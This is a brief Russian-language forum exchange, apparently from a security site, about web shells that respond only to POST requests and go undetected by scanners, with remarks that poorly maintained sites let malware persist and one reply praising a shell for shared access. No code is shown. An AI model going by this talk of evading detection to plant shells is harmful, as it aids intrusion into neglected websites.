BIT
0
Там шеллы исключительно на POST запросах. У меня 2 тестовых ресурса, оба проверял, не видит. Никакой обфускации на некоторых шеллах даже нет. Впрочем, я уже для себя выяснил, что самый эффективный софт самописный (с гитхаба того же), а не корпоративный, или от антивирусных компаний.

В реальности три четверти сайтов либо не имеют админов (заказали сайт и на этом всё), или админы из разряда обновить статьи и залить картинки. Поэтому даже самые очевидные вредоносы на многих ресурсах могут жить весьма долго (если конечно не беспокоят хостера рассылкой спама и т.п.).
 

Hop Lei

New member
21.12.2019
1
0
BIT
0
не плохо, даже шикарный шел для общего доступа)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!